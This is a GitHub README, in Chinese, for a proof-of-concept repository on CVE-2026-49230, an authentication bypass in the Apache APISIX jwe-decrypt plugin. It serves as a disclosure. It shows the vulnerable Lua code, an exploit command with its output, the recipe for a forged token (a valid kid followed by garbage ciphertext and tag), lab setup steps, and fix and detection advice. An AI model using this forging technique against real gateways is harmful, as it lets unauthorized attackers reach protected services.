BiiTts/CVE-2026-49230-APISIX-jwe-decrypt-Auth-Bypass
GitHub: BiiTts/CVE-2026-49230-APISIX-jwe-decrypt-Auth-Bypass
Apache APISIX jwe-decrypt 插件 AES-GCM 标签验证缺失导致身份验证绕过漏洞(CVE-2026-49230)的概念验证工具,附带复现环境和利用脚本。
Stars: 0 | Forks: 0
# CVE-2026-49230 — Apache APISIX `jwe-decrypt` 身份验证绕过
Apache APISIX `jwe-decrypt` 插件中身份验证绕过的概念验证。
该插件解密 JWE token 并将其明文转发给上游,充当身份验证门禁——但它**从不验证
AES-GCM 身份验证标签**。只要 token 携带有效的 consumer
`kid`,无论其密文和标签多么虚假都会被接受,因此,知道任何 consumer key 的攻击者(
在每个合法 token 的 header 中均以明文形式传输)**无需知道 AES secret** 即可
通过门禁。
| | |
|---|---|
| **CVE** | CVE-2026-49230 |
| **Product** | Apache APISIX (`jwe-decrypt` plugin) |
| **Affected** | 3.8.0 – 3.16.0 |
| **Fixed** | 3.17.0 |
| **Class** | CWE-354 — 不当的完整性校验值验证 |
| **CVSS 3.1** | 9.1 (`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`) |
| **Auth** | 未经身份验证(需要有效的 consumer `kid`,而非 secret) |
| **Published** | 2026-06-19 |
| **Status** | **已确认** — 在 3.16.0 上完成端到端复现;在 3.17.0 上被拒绝 |
## 根本原因
`apisix/plugins/jwe-decrypt.lua`(tag 3.16.0):
```
local function jwe_decrypt_with_obj(o, consumer)
...
local decrypted = aes_default:decrypt(dec(o.ciphertext), dec(o.tag))
return decrypted -- returns ONE value
end
function _M.rewrite(conf, ctx)
...
local plaintext, err = jwe_decrypt_with_obj(jwe_obj, consumer)
if err ~= nil then -- err is ALWAYS nil -> dead guard
return 400, { message = "failed to decrypt JWE token" }
end
core.request.set_header(ctx, conf.forward_header, plaintext) -- request passes
end
```
当 GCM 身份验证标签不匹配时,`aes:decrypt()` 会返回 `nil`,但该返回值被丢弃了,
并且调用者检查了一个不存在的 `err`,而它始终为 `nil`。因此,完整性校验从未被强制执行:
任何带有可解析 `kid` 的 JWE 都会通过身份验证。而 AES secret(攻击者唯一不应该拥有的东西)
实际上根本不需要。
3.17.0 中的修复传播了该错误(`return decrypted, err`)并将守卫条件切换为
`if not plaintext then return 400`。同样的修复还移除了
插件公开的 `GET /apisix/plugin/jwe/encrypt` token 生成 API。
有关完整的代码级演练,请参见 [`ANALYSIS.md`](ANALYSIS.md)。
## 漏洞利用
```
python3 exploit.py http://127.0.0.1:9080/protected/x --kid alice-key
```
```
[*] consumer kid : alice-key (NO AES secret used)
[*] forged JWE : eyJhbGciOiAiZGlyI...fQ..MTIzNDU2Nzg5MDEy.Rk9SR0VE.MDAwMDAw...
[1] no token -> HTTP 403 {"message":"missing JWE token in request"}
[2] forged JWE token -> HTTP 200 UPSTREAM-REACHED path=/protected/secret auth=None
[+] CONFIRMED: auth bypass. Forged token with no secret reached the upstream.
```
伪造的 token 是 `base64url(header{kid}) . "" . iv . garbage_ciphertext .
garbage_tag`。只有 header(带有有效的 `kid`)是重要的;它后面的所有内容
都是攻击者选择的垃圾数据。
## 复现
```
cd lab
./setup.sh # etcd + APISIX 3.16.0 + backend + consumer + route (--network host)
python3 ../exploit.py http://127.0.0.1:9080/protected/x --kid alice-key
APISIX_IMAGE=apache/apisix:3.17.0-debian ./setup.sh # same test rejects on the patched build
./teardown.sh
```
此环境没有 Docker bridge,因此实验环境使用 `--network host`
(etcd 在 `:2379`,APISIX 数据平面在 `:9080`,admin 在 `:9180`,后端在 `:8080`)。
## 判别结果(排除误报)
| Request | 3.16.0 (vulnerable) | 3.17.0 (patched) |
|---|---|---|
| no token | 403 `missing JWE token` | — |
| malformed token (<5 parts) | 400 `JWE token invalid` | — |
| invalid `kid` + garbage crypto | 400 `invalid kid` | — |
| **valid `kid` + garbage crypto** | **200 upstream reached** | **400 `failed to decrypt`** |
除了 GCM 完整性校验之外,所有控制措施都得到了执行,并且完全相同的伪造
token 在修复边界处从 200 变为了 400——该绕过具体是由于缺少完整性验证,
而不是配置错误的路由。完整的记录请见 [`EVIDENCE.txt`](EVIDENCE.txt)。
## 影响
任何信任 APISIX 的 `jwe-decrypt` 门禁进行身份验证的上游,都可能
被拥有单个有效 consumer
`kid` 的未授权攻击者访问。由于有效的 `kid` 在每个合法签发的
token 的 JWE header 中以明文暴露,因此一个被捕获或泄露的 token——或者一个可猜测的
consumer key——就足以伪造无限的被接受 token 并绕过
网关的身份验证边界。
## 修复建议
- 将 Apache APISIX 升级到 **3.17.0** 或更高版本。
- 在此之前,不要依赖 `jwe-decrypt` 作为唯一的身份验证控制;
叠加一个独立的身份验证插件(例如 `key-auth`/`jwt-auth`)或一个验证
转发身份的上游检查。
## 检测
那些通过 `jwe-decrypt` 身份验证,却向上游转发空/缺失
身份 header 的请求(解密静默产生了 `nil`)是一个强烈的信号。留意
通过网关的 `Authorization: Bearer ` 请求,而上游却未收到任何可用的转发 header。
## 致谢
研究与 PoC 由 Caio Fabrício ([@BiiTts](https://github.com/BiiTts)) 完成。
## 许可证
MIT — 详见 [LICENSE](LICENSE)。
标签:Apache APISIX, JWE, Modbus, PoC, rizin, 暴力破解, 请求拦截, 身份认证绕过, 逆向工具